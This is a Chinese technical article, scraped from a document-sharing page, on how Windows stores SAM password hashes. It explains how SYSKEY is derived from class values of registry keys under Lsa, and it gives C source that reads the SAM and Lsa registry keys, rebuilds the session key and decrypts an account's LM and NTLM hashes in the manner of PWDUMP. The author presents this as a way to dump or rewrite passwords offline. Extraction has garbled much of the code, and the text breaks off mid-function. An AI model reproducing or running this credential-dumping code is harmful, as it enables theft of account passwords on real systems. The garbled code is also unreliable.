SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx
《SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx》由会员分享,可在线阅读,更多相关《SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx(21页珍藏版)》请在冰豆网上搜索。
|
F键信息的后0x20字节-------------------
当需要解密SAM中加密数据到散列时(如远程登陆):
读取sampsecretsessionkey,再与当前用户的相对SID,散列类型名(如LMPASSWORD,NTPASSWORD)做MD5运算获得针对这个用户密码散列的sessionkey
利用sessionkey用RC4解密第一道加密的散列,再将用户相对ID扩展成14字节做DES切分,生成DESECB,再对用RC4处理后的散列进行分开成2次DES解密就可以获得密码散列。
-------------------------
|sampsecretsessionkey|
|sid|MD5
LMPASSWOR"
/"
NTPASSWOR"
sessionkey---
|||RC42次DES(填充SID做KEY切分)
-------------------------|----->
-------------------------->
HASH
对应的SAM中加密的密码散列---------------------------------
这个算法相当好,保证了不同用户的相同散列在SAM存放不一样(相对SID不一样),不同机器的同一SID同口令的SAM中的散列存放不一样(SYSKEY不同);
这个算法的DES/RC4都是可逆的,这样如果我们能通过离线(文件)方式获得SYSKEY的话(其他的信息都可以分析SAM文件获得),我们完全实现离线修改SAM中口令的效果,不过这需要对注册表的结构和SAM中V/F键的数据结构再做深入的研究,这里就不谈了。
那么SYSKEY是如何计算出来的呢?
这可能是我发现MS最牛皮的一个地方了,先开始想一定会存放在注册表某处,呵呵,最后跟踪MS引导时候的WINLOGON进程才知道,SYSKEY是这样计算出来的,很多人会大掉眼镜吧:
SYSKEY的计算是:
SYSTEM\\CurrentControlSet\\Control\\Lsa下的
JD,Skew1,GBG,Data四个键值的CLASS值通过换位得来的,靠,佩服MS。
这样我们完全可以离线分析注册表就能获得对其SAM的加密散列的导出或改写了。
下面就是给出的完全实现计算SYSKEY-》sampsecretsessionkey,对特定用户的SAM中加密的密码散列再解密的代码:
当然如果从运行系统中解密散列也可以直接读取sampsecretsessionkey,就象PWDUMP3那样做的一样也是可以的,但是如果要实现离线的就还需要再分析更多的东西。
另外关于PWDUMP具体的方法,由于其是加密和反跟踪的,我没时间做仔细调式分析,但是从REGMON监视其注册表操作的过程来说,是没有去读LSA下的任何东西的,因此可以断定他是直接获得ampsecretsessionkey来进行对SAM内容的解密到散列的。
//下面几个函数的实现,DES相关的盒,ECB等的定义参考我以前发的文章中的代码,这里不再给出
//voiddeskey(char*LmPass,unsignedchar*desecb)
//voidrc4_key(unsignedchar*rc4keylist,unsignedchar*rc4key,intkeylen);
//voidmd5init(unsignedchar*LM);
//voidmd5final(unsignedchar*LM);
//voidinitLMP(char*pass,unsignedchar*LM);
//以前给出的des函数的实现没有解密的部分,并且有个小错误,因此这里再给出完整的一个
#include<
stdio.h>
windows.h>
#include"
des.h"
voidgetsyskey(unsignedchar*syskey);
voidgetsampsecretsessionkey(unsignedchar*syskey,unsignedchar*fkey);
voidmd5init(unsignedchar*LM);
voidmd5final(unsignedchar*LM);
voidrc4_key(unsignedchar*rc4keylist,unsignedchar*rc4key,intkeylen);
voidrc4_2bc6(unsignedchar*rc4keylist,intkeylen,unsignedchar*key);
voidgetsamkey(unsignedchar*sampsskey,unsignedchar*uid,unsignedchar*passwordtype,unsignedchar*sessionkey);
voidgetsamhash(unsignedchar*ensaminfo,unsignedchar*sessionkey,unsignedchar*uid);
voidinitLMP(char*pass,unsignedchar*LM);
voiddeskey(char*LmPass,unsignedchar*desecb);
voiddes(unsignedchar*LM,char*magic,unsignedchar*ecb,longno);
voidmain()
{
inti;
//下面为了简单,这3个是直接指定的用户,相对SID的注册表键名和相对SID,大家也可以写成完全根据用户名获取的方式
charusername[]="
SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator"
;
charkeyname[]="
SAM\\SAM\\Domains\\Account\\Users\\000001F4"
unsignedlonguid=0x1F4;
unsignedcharsyskey[0x10];
unsignedcharensamnt[0x10];
unsignedcharensamlm[0x10];
unsignedcharsessionkey[0x10];
unsignedcharbuf[0x400];
unsignedcharsampsecretsessionkey[0x10];
unsignedcharlmhash[0x10];
unsignedcharnthash[0x10];
unsignedcharfkey[0x30];
unsignedlongss;
DWORDregtype;
DWORDregint;
unsignedcharpasswordtype[5][100]={"
LMPASSWORD"
"
NTPASSWORD"
LMPASSWORDHISTORY"
NTPASSWORDHISTORY"
MISCCREDDATA"
};
HKEYhkResult;
HKEYhkResult1;
//SAM中的键读取先要提升自己成为LOCASYSTEM权限,这里并没有实现,自己增加其中的代码
//读出F键中用于计算
regint=0x400;
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"
SAM\\SAM\\Domains\\Account"
0,KEY_READ,&
hkResult);
if(ss!
=0)
printf("
noPrivilege!
\n"
);
ss=RegQueryValueEx(hkResult,"
F"
NULL,®
type,buf,®
int);
for(i=regint-1;
i>
=0;
i--)
if(buf[i]!
break;
memcpy(fkey,buf+i-0x2f,0x30);
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&
//检查此用户是否存在
=ERROR_SUCCESS)
return;
//读取该用户下的V键中加密的散列信息
//由于目前还未解析V中的结构,我们就直接读最后的那一串,一般都是如此存放在此
//但也不排除例外,那就需要具体分析V中的结构来计算了
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&
V"
memcpy(ensamnt,buf+regint-0x18,0x10);
memcpy(ensamlm,buf+regint-0x2c,0x10);
//计算SYSKEY,W2K系统默认SYSKEY使用,且成为其固定的一个组件
getsyskey(syskey);
//利用SYSKEY,F键中的KEY计算sampsecretsessionkey
getsampsecretsessionkey(syskey,fkey);
memcpy(sampsecretsessionkey,fkey+0x10,0x10);
//上面的就是系统引导时完成的工作,这个sampsecretsessionkey固定保存在LSASS的进程空间内
//当认证等或如PWDUMP3工作时候,就是先从系统中直接读sampsecretsessionkey再进行处理
//根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对LM散列的
getsamkey(sampsecretsessionkey,&
uid,passwordtype[0],sessionkey);
memcpy(lmhash,ensamlm,0x10);
//利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列
getsamhash(lmhash,sessionkey,&
uid);
HASH:
:
"
for(i=0;
i<
0x10;
i++)
%02x"
lmhash[i]);
//根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对NTLM散列的
uid,passwordtype[1],sessionkey);
memcpy(nthash,ensamnt,0x10);
//利用SESSIONKEY,SAM中加密的NTLM散列,相对SID做RC4/DES解密获得真正的散列
getsamhash(nthash,sessionkey,&
nthash[i]);
}
voidgetsamhash(unsignedchar*ensaminfo,unsignedchar*sessionkey,unsignedchar*uid)
unsignedchardesecb[128];
unsignedcharrc4keylist[0x102];
unsignedcharLM[0x10];
unsignedcharp1[0xe];
unsignedcharp2[0x10];
memcpy(p1,uid,4);
memcpy(p1+4,uid,4);
memcpy(p1+8,uid,4);
memcpy(p1+0xc,uid,2);
//上面是用SID填充DESECB的KEY
rc4_key(rc4keylist,sessionkey,0x10);
rc4_2bc6(rc4keylist,0x10,ensaminfo);
//RC4处理一次再用DES解密
initLMP(p1,LM);
deskey(LM,desecb);
des(p2,ensaminfo,desecb,0);
initLMP(p1+7,LM);
des(p2+8,ensaminfo+8,desecb,0);
memcpy(ensaminfo,p2,0x10);
voidgetsamkey(unsignedchar*sampsskey,unsignedlong*uid,unsignedchar*passwordtype,unsignedchar*sessionkey)
//根据具体用户的相对SID,要恢复散列的散列类型,MD5生成SESSIONKEY
unsignedcharLM[0x58];
intlen,i;
md5init(LM);
20;
if(passwordtype[i]==0)
len=i+1;
memcpy(LM+0x18,sampsskey,0x10);
memcpy(LM+0x28,(unsignedchar*)uid,4);
memcpy(LM+0x2c,passwordtype,len);
memset(LM+0x2c+len,0x80,1);
memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));
*(DWORD*)LM=0x200;
*(DWORD*)(LM+0X50)=0xF8;
md5final(LM);
memcpy(sessionkey,LM+8,0x10);
voidgetsyskey(unsignedchar*syskey)
unsignedcharkeyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,
0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};
//换位表
unsignedcharsyskey1[0x10];
inti,j;
longss;
unsignedcharclassinfo[0x10];
DWORDc1;
SYSTEM\\CurrentControlSet\\Control\\Lsa"
ss=RegOpenKeyEx(hkResult,"
JD"
hkResult1);
i=0;
memset(syskey1,0,0x10);
c1=0x10;
if(ss==ERROR_SUCCESS)
ss=RegQueryInfoKey(hkResult1,classinfo,&
c1,0,0,0,0,0,0,0,0,0);
RegCloseKey(hkResult1);
%s\n"
classinfo);
for(j=0;
j<
8;
j++)
if(classinfo[j]>
=0x30&
&
classinfo[j]<
=0x39)
classinfo[j]=classinfo[j]-0x30;
elseif(classinfo[j]>
='
a'
&
f'
)
classinfo[j]=classinfo[j]-'
+0xa;
A'
F'
else
syskey1[i+0]=16*classinfo[0]+classinfo[1];
syskey1[i+1]=16*classinfo[2]+classinfo[3];
syskey1[i+2]=16*classinfo[4]+classinfo[5];
syskey1[i+3]=16*classinfo[6]+classinfo[7];
i=i+4;
Skew1"
GBG"
Data"
0,K